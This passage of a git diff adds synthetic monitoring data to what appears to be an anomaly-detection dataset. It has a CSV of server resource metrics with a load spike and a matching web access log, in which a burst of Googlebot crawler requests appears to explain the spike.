AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:06:10 web-server[8080]: 192.168.1.101 - - [20/Aug/2025:10:06:10 ] "GET /products/category/electronics HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:06:30 web-server[8080]: 10.0.0.54 - - [20/Aug/2025:10:06:30 ] "GET /contact HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:06:40 systemd[1]: Starting daily clean up activities... +Aug 20 10:06:45 web-server[8080]: 192.168.1.101 - - [20/Aug/2025:10:06:45 ] "GET /products/category/electronics HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:06:50 web-server[8080]: 192.168.1.101 - - [20/Aug/2025:10:06:50 ] "GET /faq HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:07:00 web-server[8080]: 10.0.0.54 - - [20/Aug/2025:10:07:00 ] "GET /products/1 HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:07:05 web-server[8080]: 172.16.31.200 - - [20/Aug/2025:10:07:05 ] "GET /index.html HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:07:10 web-server[8080]: 10.0.0.54 - - [20/Aug/2025:10:07:10 ] "GET /products/category/electronics HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:07:15 web-server[8080]: 192.168.1.101 - - [20/Aug/2025:10:07:15 ] "GET /index.html HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 10:07:20 web-server[8080]: 192.168.1.101 - - [20/Aug/2025:10:07:20 ] "GET /faq HTTP/1.1" 200 1200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" diff --git a/norm_dataset/scenario_8/norm_8_14.csv b/norm_dataset/scenario_8/norm_8_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..da1d5b3b6c7b5d2fb35ea87dcbfef231651ce3f5 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-21T10:00:00Z,11.19,43.65,22.7,1.3,0.88 +2025-08-21T10:00:05Z,10.62,43.2,21.5,1.47,1.04 +2025-08-21T10:00:10Z,13.29,42.33,29.21,1.2,1.26 +2025-08-21T10:00:15Z,13.29,41.9,30.04,0.94,1.28 +2025-08-21T10:00:20Z,11.49,44.21,27.48,0.87,1.19 +2025-08-21T10:00:25Z,10.86,43.65,24.23,1.13,0.79 +2025-08-21T10:00:30Z,10.5,43.83,28.16,0.9,1.24 +2025-08-21T10:00:35Z,11.77,40.87,23.39,0.87,0.96 +2025-08-21T10:00:40Z,14.46,41.4,20.33,0.93,0.7 +2025-08-21T10:00:45Z,13.95,39.58,20.02,0.82,1.29 +2025-08-21T10:00:50Z,14.94,44.76,31.7,1.17,0.96 +2025-08-21T10:00:55Z,13.26,40.22,27.06,0.83,1.26 +2025-08-21T10:01:00Z,12.1,43.67,28.26,1.27,0.75 +2025-08-21T10:01:05Z,11.0,43.38,29.37,1.2,1.24 +2025-08-21T10:01:10Z,10.27,42.32,26.72,1.06,0.96 +2025-08-21T10:01:15Z,12.96,41.64,27.87,1.41,0.79 +2025-08-21T10:01:20Z,13.24,43.48,20.51,1.05,0.78 +2025-08-21T10:01:25Z,12.72,41.71,27.23,1.14,0.95 +2025-08-21T10:01:30Z,13.99,39.14,20.24,0.96,0.95 +2025-08-21T10:01:35Z,10.95,43.12,20.4,1.18,1.07 +2025-08-21T10:01:40Z,15.0,39.5,35.0,1.5,1.3 +2025-08-21T10:01:45Z,18.84,42.79,38.73,6.04,1.82 +2025-08-21T10:01:50Z,23.97,40.49,42.63,7.75,2.04 +2025-08-21T10:01:55Z,25.95,39.61,47.45,14.78,2.93 +2025-08-21T10:02:00Z,34.63,41.37,53.31,17.27,2.33 +2025-08-21T10:02:05Z,35.88,43.54,50.71,21.69,2.78 +2025-08-21T10:02:10Z,37.57,43.39,52.17,25.57,2.96 +2025-08-21T10:02:15Z,47.94,42.13,55.0,31.84,4.57 +2025-08-21T10:02:20Z,44.16,38.25,65.28,29.35,3.43 +2025-08-21T10:02:25Z,54.51,42.01,64.0,29.79,3.39 +2025-08-21T10:02:30Z,50.03,39.23,64.57,30.96,4.37 +2025-08-21T10:02:35Z,59.1,44.37,74.92,36.5,5.61 +2025-08-21T10:02:40Z,65.69,39.73,88.74,52.22,4.92 +2025-08-21T10:02:45Z,61.2,44.11,68.59,44.19,6.45 +2025-08-21T10:02:50Z,66.93,42.95,77.99,52.07,7.1 +2025-08-21T10:02:55Z,76.29,38.64,72.66,59.43,4.37 +2025-08-21T10:03:00Z,67.21,41.67,101.42,43.45,8.58 +2025-08-21T10:03:05Z,69.15,41.58,101.02,50.69,5.0 +2025-08-21T10:03:10Z,71.72,39.69,105.81,70.99,4.79 +2025-08-21T10:03:15Z,77.47,43.83,113.88,58.35,6.43 +2025-08-21T10:03:20Z,76.57,44.38,97.41,51.47,7.95 +2025-08-21T10:03:25Z,76.81,41.87,79.65,50.13,7.49 +2025-08-21T10:03:30Z,87.49,44.81,92.58,50.21,7.9 +2025-08-21T10:03:35Z,91.38,42.19,83.78,52.59,7.36 +2025-08-21T10:03:40Z,81.06,42.4,102.65,56.82,8.62 +2025-08-21T10:03:45Z,92.72,42.13,118.11,70.15,7.44 +2025-08-21T10:03:50Z,70.58,42.49,105.33,60.11,9.91 +2025-08-21T10:03:55Z,75.33,42.94,86.51,68.43,7.98 +2025-08-21T10:04:00Z,82.94,42.98,99.05,63.21,5.22 +2025-08-21T10:04:05Z,79.16,38.6,96.15,63.25,8.54 +2025-08-21T10:04:10Z,76.46,41.35,85.33,68.31,6.77 +2025-08-21T10:04:15Z,87.38,38.62,79.17,72.73,6.33 +2025-08-21T10:04:20Z,85.66,39.49,107.3,46.66,6.01 +2025-08-21T10:04:25Z,73.23,40.04,85.56,58.11,5.24 +2025-08-21T10:04:30Z,60.82,40.05,102.46,52.54,7.79 +2025-08-21T10:04:35Z,60.48,40.26,97.96,39.55,4.27 +2025-08-21T10:04:40Z,57.07,44.81,84.57,42.13,6.84 +2025-08-21T10:04:45Z,60.85,42.72,91.02,40.95,4.48 +2025-08-21T10:04:50Z,62.06,41.4,77.25,35.63,5.37 +2025-08-21T10:04:55Z,54.96,38.0,64.49,40.92,5.07 +2025-08-21T10:05:00Z,50.68,38.07,60.09,44.28,4.34 +2025-08-21T10:05:05Z,47.18,43.41,76.35,37.63,3.5 +2025-08-21T10:05:10Z,43.34,41.7,59.06,27.6,4.66 +2025-08-21T10:05:15Z,44.05,41.77,66.76,30.58,4.0 +2025-08-21T10:05:20Z,35.4,39.27,53.85,24.4,2.94 +2025-08-21T10:05:25Z,35.24,39.21,51.61,20.31,2.77 +2025-08-21T10:05:30Z,26.76,44.31,44.28,12.12,2.5 +2025-08-21T10:05:35Z,22.82,40.21,41.2,7.82,1.92 +2025-08-21T10:05:40Z,19.03,40.78,38.22,5.28,1.62 +2025-08-21T10:05:45Z,15.0,44.95,35.0,1.5,1.3 +2025-08-21T10:05:50Z,11.28,43.4,31.46,0.99,1.09 +2025-08-21T10:05:55Z,15.0,39.78,31.32,0.97,1.1 +2025-08-21T10:06:00Z,13.12,40.41,28.17,0.9,0.77 +2025-08-21T10:06:05Z,12.95,42.55,27.06,1.46,1.27 +2025-08-21T10:06:10Z,11.66,44.79,31.95,1.04,1.11 +2025-08-21T10:06:15Z,14.76,42.46,28.65,1.47,0.82 +2025-08-21T10:06:20Z,11.52,40.85,28.0,1.33,1.03 +2025-08-21T10:06:25Z,10.81,39.84,29.98,1.15,1.26 +2025-08-21T10:06:30Z,14.48,39.48,34.02,1.22,0.79 +2025-08-21T10:06:35Z,12.76,38.66,21.82,1.19,0.73 +2025-08-21T10:06:40Z,14.74,42.66,33.47,1.16,0.91 +2025-08-21T10:06:45Z,13.09,43.22,22.89,1.22,1.16 +2025-08-21T10:06:50Z,13.63,38.79,30.42,0.91,1.16 +2025-08-21T10:06:55Z,11.57,41.49,27.51,1.34,1.02 +2025-08-21T10:07:00Z,13.34,43.11,33.11,1.25,0.98 +2025-08-21T10:07:05Z,12.73,41.08,22.54,0.95,0.77 +2025-08-21T10:07:10Z,11.97,39.0,22.66,0.85,0.77 +2025-08-21T10:07:15Z,12.25,42.52,22.15,1.47,1.16 +2025-08-21T10:07:20Z,13.94,41.15,33.49,1.2,1.16 +2025-08-21T10:07:25Z,14.57,40.33,31.3,1.26,1.19 diff --git a/norm_dataset/scenario_8/norm_8_14.log b/norm_dataset/scenario_8/norm_8_14.log new file mode 100644 index 0000000000000000000000000000000000000000..89b3f7d1e82b54c40c55c224f2507f42c9f880ed --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_14.log @@ -0,0 +1,413 @@ +Aug 21 10:00:00 web-server[2397]: 192.168.1.84 - "GET /blog/post-3 HTTP/1.1" 200 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 21 10:00:10 web-server[2397]: 192.168.1.103 - "GET /products/item10 HTTP/1.1" 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 21 10:00:20 web-server[2397]: 192.168.1.103 - "GET /products/item2 HTTP/1.1" 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 21 10:00:25 web-server[2397]: 192.168.1.108 - "GET /blog/post-1 HTTP/1.1" 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 21 10:00:35 web-server[2397]: 192.168.1.141 - "GET /products/item18 HTTP/1.1" 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 21 10:00:45 web-server[2397]: 192.168.1.84 - "GET /products/item17 HTTP/1.1" 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 21 10:00:55 web-server[2397]: 192.168.1.103 - "GET /products/item5 HTTP/1.1" 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 21 10:01:05 web-server[2397]: 192.168.1.141 - "GET /products/item14 HTTP/1.1" 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 21 10:01:10 web-server[2397]: 192.168.1.84 - "GET /products/item12 HTTP/1.1" 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 21 10:01:40 web-server[2397]: 66.249.68.246 - "GET /blog/post-7 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:01:40 web-server[2397]: 66.249.74.174 - "GET / HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:01:40 web-server[2397]: 66.249.74.174 - "GET /blog/post-10 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:01:40 web-server[2397]: 66.249.74.174 - "GET /blog/post-3 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:01:40 web-server[2397]: 66.249.76.126 - "GET /blog/post-14 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:01:40 web-server[2397]: 66.249.76.126 - "GET /products/item11 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:01:40 web-server[2397]: 66.249.76.181 - "GET /products/item15 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:01:40 web-server[2397]: 66.249.95.30 - "GET /products/item14 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:01:40 web-server[2397]: 66.249.95.30 - "GET /products/item18 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:01:40 web-server[2397]: 66.249.95.30 - "GET /products/item4 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:01:45 web-server[2397]: 66.249.68.246 - "GET /products/item7 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:01:45 web-server[2397]: 66.249.74.174 - "GET /products/item2 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:01:45 web-server[2397]: 66.249.74.174 - "GET /products/item9 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:01:45 web-server[2397]: 66.249.76.126 - "GET /blog/post-9 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:01:45 web-server[2397]: 66.249.76.126 - "GET /products/item12 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:01:45 web-server[2397]: 66.249.76.181 - "GET /blog/post-10 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:01:45 web-server[2397]: 66.249.76.181 - "GET /products/item19 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:01:45 web-server[2397]: 66.249.89.138 - "GET /blog/post-2 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:01:45 web-server[2397]: 66.249.95.30 - "GET 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HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:04:45 web-server[2397]: 66.249.64.71 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:04:45 web-server[2397]: 66.249.76.126 - "GET /products/item1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:04:45 web-server[2397]: 66.249.76.126 - "GET /products/item12 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:04:45 web-server[2397]: 66.249.76.181 - "GET /products/item13 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:04:45 web-server[2397]: 66.249.95.30 - "GET /products/item17 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:04:50 web-server[2397]: 66.249.64.115 - "GET /products/item14 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:04:50 web-server[2397]: 66.249.67.86 - "GET /products/item5 HTTP/1.1" 200 "Googlebot/2.1 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web-server[2397]: 66.249.64.71 - "GET /products/item17 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:04:55 web-server[2397]: 66.249.67.86 - "GET /products/item12 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:04:55 web-server[2397]: 66.249.74.174 - "GET /blog/post-8 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:04:55 web-server[2397]: 66.249.74.174 - "GET /products/item16 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:00 web-server[2397]: 66.249.67.86 - "GET /products/item10 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:00 web-server[2397]: 66.249.68.246 - "GET /blog/post-5 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:00 web-server[2397]: 66.249.68.246 - "GET /products/item14 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:00 web-server[2397]: 66.249.70.156 - "GET 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(+http://www.google.com/bot.html)" +Aug 21 10:05:05 web-server[2397]: 66.249.70.156 - "GET /blog/post-13 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:05 web-server[2397]: 66.249.76.126 - "GET /products/item18 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:05 web-server[2397]: 66.249.95.30 - "GET /blog/post-12 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:10 web-server[2397]: 66.249.64.115 - "GET /blog/post-4 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:10 web-server[2397]: 66.249.64.115 - "GET /products/item1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:10 web-server[2397]: 66.249.64.71 - "GET /blog/post-2 HTTP/1.1" 301 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:10 web-server[2397]: 66.249.67.86 - "GET /products/item2 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:10 web-server[2397]: 66.249.68.246 - "GET /products/item17 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:10 web-server[2397]: 66.249.68.246 - "GET /products/item6 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:10 web-server[2397]: 66.249.74.174 - "GET /blog/post-6 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:10 web-server[2397]: 66.249.76.126 - "GET /products/item7 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:10 web-server[2397]: 66.249.89.138 - "GET /products/item12 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:15 web-server[2397]: 66.249.64.71 - "GET /blog/post-1 HTTP/1.1" 301 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:15 web-server[2397]: 66.249.64.71 - "GET /products/item18 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:15 web-server[2397]: 66.249.67.86 - "GET /products/item14 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:15 web-server[2397]: 66.249.67.86 - "GET /products/item5 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:15 web-server[2397]: 66.249.70.156 - "GET /products/item8 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:15 web-server[2397]: 66.249.74.174 - "GET / HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:15 web-server[2397]: 66.249.76.181 - "GET /products/item19 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:15 web-server[2397]: 66.249.89.138 - "GET /blog/post-2 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:20 web-server[2397]: 66.249.64.115 - "GET /products/item19 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:20 web-server[2397]: 66.249.64.71 - "GET /blog/post-5 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:20 web-server[2397]: 66.249.67.86 - "GET /blog/post-9 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:20 web-server[2397]: 66.249.68.246 - "GET /products/item2 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:20 web-server[2397]: 66.249.76.181 - "GET /blog/post-6 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:20 web-server[2397]: 66.249.95.30 - "GET /products/item10 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:25 web-server[2397]: 66.249.64.115 - "GET /blog/post-14 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:25 web-server[2397]: 66.249.68.246 - "GET /blog/post-2 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:25 web-server[2397]: 66.249.68.246 - "GET /products/item16 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:25 web-server[2397]: 66.249.68.246 - "GET /products/item6 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:25 web-server[2397]: 66.249.76.181 - "GET /blog/post-10 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:25 web-server[2397]: 66.249.89.138 - "GET /blog/post-5 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:25 web-server[2397]: 66.249.95.30 - "GET /contact HTTP/1.1" 404 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:30 web-server[2397]: 66.249.64.71 - "GET /blog/post-2 HTTP/1.1" 404 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:30 web-server[2397]: 66.249.67.86 - "GET /products/item8 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:30 web-server[2397]: 66.249.74.174 - "GET /blog/post-11 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:30 web-server[2397]: 66.249.74.174 - "GET /blog/post-9 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:30 web-server[2397]: 66.249.76.126 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:30 web-server[2397]: 66.249.76.181 - "GET /products/item13 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:30 web-server[2397]: 66.249.76.181 - "GET /products/item17 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:30 web-server[2397]: 66.249.76.181 - "GET /products/item19 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:30 web-server[2397]: 66.249.89.138 - "GET /products/item3 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:35 web-server[2397]: 66.249.70.156 - "GET /about-us HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:35 web-server[2397]: 66.249.70.156 - "GET /products/item11 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:35 web-server[2397]: 66.249.74.174 - "GET /blog/post-12 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:35 web-server[2397]: 66.249.74.174 - "GET /blog/post-3 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:35 web-server[2397]: 66.249.76.126 - "GET /blog/post-5 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:35 web-server[2397]: 66.249.76.126 - "GET /blog/post-5 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:35 web-server[2397]: 66.249.76.181 - "GET /products/item9 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:35 web-server[2397]: 66.249.89.138 - "GET /blog/post-11 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:40 web-server[2397]: 66.249.64.115 - "GET /products/item14 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:40 web-server[2397]: 66.249.70.156 - "GET /blog/post-8 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:40 web-server[2397]: 66.249.70.156 - "GET /products/item14 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:40 web-server[2397]: 66.249.74.174 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:40 web-server[2397]: 66.249.74.174 - "GET /products/item2 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:40 web-server[2397]: 66.249.76.181 - "GET /blog/post-4 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:40 web-server[2397]: 66.249.76.181 - "GET /products/item19 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:40 web-server[2397]: 66.249.95.30 - "GET /blog/post-7 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:40 web-server[2397]: 66.249.95.30 - "GET /products/item11 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:45 web-server[2397]: 66.249.64.115 - "GET /blog/post-13 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:45 web-server[2397]: 66.249.64.115 - "GET /products/item13 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:45 web-server[2397]: 66.249.64.71 - "GET /products/item2 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:45 web-server[2397]: 66.249.67.86 - "GET /products/item5 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:45 web-server[2397]: 66.249.68.246 - "GET /blog/post-13 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:45 web-server[2397]: 66.249.68.246 - "GET /blog/post-5 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:45 web-server[2397]: 66.249.70.156 - "GET /blog/post-1 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:45 web-server[2397]: 66.249.89.138 - "GET /products/item10 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:45 web-server[2397]: 66.249.89.138 - "GET /products/item17 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 21 10:05:55 web-server[2397]: 192.168.1.84 - "GET /blog/post-1 HTTP/1.1" 200 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 21 10:06:20 web-server[2397]: 192.168.1.167 - "GET /blog/post-11 HTTP/1.1" 200 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 21 10:06:45 web-server[2397]: 192.168.1.108 - "GET /blog/post-8 HTTP/1.1" 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 21 10:06:55 web-server[2397]: 192.168.1.141 - "GET /contact HTTP/1.1" 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 21 10:07:05 web-server[2397]: 192.168.1.103 - "GET /blog/post-9 HTTP/1.1" 200 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 21 10:07:10 web-server[2397]: 192.168.1.84 - "GET /blog/post-2 HTTP/1.1" 200 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 21 10:07:15 web-server[2397]: 